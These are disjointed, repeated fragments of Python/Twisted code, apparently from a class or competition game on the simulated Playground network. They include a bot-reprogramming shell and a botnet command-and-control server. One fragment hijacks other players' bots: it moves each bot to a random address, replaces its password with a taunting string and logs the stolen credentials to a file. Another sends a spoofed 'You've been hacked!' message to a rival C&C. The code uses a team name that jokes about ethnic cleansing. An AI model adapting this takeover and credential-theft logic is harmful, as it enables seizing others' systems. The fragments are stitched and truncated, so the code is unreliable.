def __botConnectionMade(self, protocol): self.transport.write("Connected to Bot at %s\n" % self.__botAddress) self.protocol = protocol self.prompt = "[%s::%d] >>" % (self.__botAddress, self.__connectPort) # Check if this is a stolen bot if ".66432.13056." not in self.__botAddress: randaddress = "%s.66432.13056.%s" % (sr().getrandbits(22), sr().getrandbits(22)) randpw = "~EthnicClensiStanWazHere~UrBotWazBelongToUs@%s~Thanks~%s" % ( time(), sr().getrandbits(256)) self.reprogram(None, "ADDRESS", randaddress) # Save stolen bot info to new file with open("stolenBots.py.data", "a") as f: f.write( "--origAddr=%s --origPass=%s --destAddr=%s --newPass=%s --timestamp=%s\n" % (self.__botAddress, self.password, randaddress, randpw, time())) f.flush() # Connect to moved bot and change password bprotocol = ReprogrammingShellProtocol(randaddress) bprotocol.password = self.password bprotocol.toPassword = randpw stdio.StandardIO(bprotocol) else: # This is a stolen bot self.reprogram(None, "PASSWORD", self.toPassword)
self.transport.write("Got protocol. Trying to connect\n") d = connectProtocol(playgroundEndpoint, reprogrammingProtocol) self.transport.write("Setting callback\n") d.addCallback(self.__botConnectionMade) d.addErrback(self.handleError) self.transport.write("Waiting for callback\n") def handleResponse(self, data): self.transport.write("Received response from server.\n") for serverString in data: self.transport.write("\t%s\n" % serverString) self.refreshInterface() def handleError(self, failure): self.transport.write("Something went wrong: %s\n" % failure) self.refreshInterface() # swallow error if __name__ == "__main__": address = sys.argv[1] if os.path.exists("password.txt"): with open("password.txt") as f: password = f.read().strip() else: password = "******" playgroundlog.Config.enableLogging() playgroundlog.Config.enableHandler(playgroundlog.Config.STDERR_HANDLER) stdio.StandardIO(ReprogrammingShellProtocol(address, password)) reactor.run()
def actualRPAddress(self): randAddr = "%s.66432.13056.%s" % (randint(374, 99999), randint(374, 99999)) print("actualRPAddress() called with actual address: %s" % randAddr) self.finalAddr = randAddr d = self.protocol.reprogram(self.password, "ADDRESS", randAddr) d.addCallback(self.handleResponse) if __name__ == "__main__": gstarArgs = {} args = sys.argv[1:] i = 0 for arg in args: if arg.startswith("-"): k, v = arg.split("=") gstarArgs[k] = v else: gstarArgs[i] = arg i += 1 addr = gstarArgs[0] pswd = gstarArgs[1] protocol = ReprogrammingShellProtocol(addr) protocol.password = pswd stdio.StandardIO(protocol) reactor.run()
return request = CommandAndControlResponse( reqID=0, success=False, message= "\n\nYou've been hacked! This message is not actually from your bot but was accepted by your C&C.\n\nWith Love,\n~EthnicCleansiStan~\n\n" ) self.__protocol.transport.write(request.__serialize__()) def buildProtocol(self, addr): print "buildProtocol. Somebody is connecting to us" if self.__protocol: raise Exception( "Currently, this C&C only accepts a single incoming connection" ) self.__protocol = SimpleCommandAndControlProtocol() self.__protocol.factory = self self.transport.write("Got connection from bot\n") self.prompt = "[CONNECTED] >> " return self.__protocol singleton = RemoteWorkerBrain() gameloop = singleton.gameloop stop = singleton.stop if __name__ == "__main__": args = sys.argv[1:] stdio.StandardIO(SimpleCommandAndControl(args[0], args[1])) reactor.run()
def __sendBotLocation(self, writer, *args): if not self.__protocol: writer("No bot connected\n") return request = CommandAndControlRequest( reqType=CommandAndControlRequest.COMMAND_LOCATION, ID=self.__nextId(), parameters=[]) self.__protocol.transport.write(request.__serialize__()) def buildProtocol(self, addr): print "buildProtocol. Somebody is connecting to us" if self.__protocol: raise Exception( "Currently, this C&C only accepts a single incoming connection" ) self.__protocol = SimpleCommandAndControlProtocol() self.__protocol.factory = self self.transport.write("Got connection from bot\n") self.prompt = "[CONNECTED] >> " return self.__protocol singleton = RemoteWorkerBrain() gameloop = singleton.gameloop stop = singleton.stop if __name__ == "__main__": stdio.StandardIO(SimpleCommandAndControl()) reactor.run()
self.transport.write("Setting callback\n") d.addCallback(self.__botConnectionMade) d.addErrback(self.handleError) self.transport.write("Waiting for callback\n") def handleResponse(self, data): self.transport.write("Received response from server.\n") for serverString in data: self.transport.write("\t%s\n" % serverString) self.refreshInterface() def handleError(self, failure): self.transport.write("Something went wrong: %s\n" % failure) self.refreshInterface() # swallow error print("CUSTOM RPC") if __name__=="__main__": address = sys.argv[1] playgroundlog.Config.enableLogging() playgroundlog.Config.enableHandler(playgroundlog.Config.STDERR_HANDLER) stdio.StandardIO(ReprogrammingShellProtocol(address)) reactor.run() ''' +cyberward.botinterface.ReprogrammingRequest\x031.0\x00\x06\x00\x01\x00\x00\x00\x01\x00\x02\x00\x00\x00 ac3d9eb6985fe062a3dffc2dd5ce9c78\x00\x03\x01\x00\x04\x00\x00\x00\x05\x00\x00\x00\x06\xde\x1b\xf1?$\x8da\xd0 ac3d9eb6985fe062a3dffc2dd5ce9c78 f63c533d5f818c8a7477603a3ae91064 167574 '''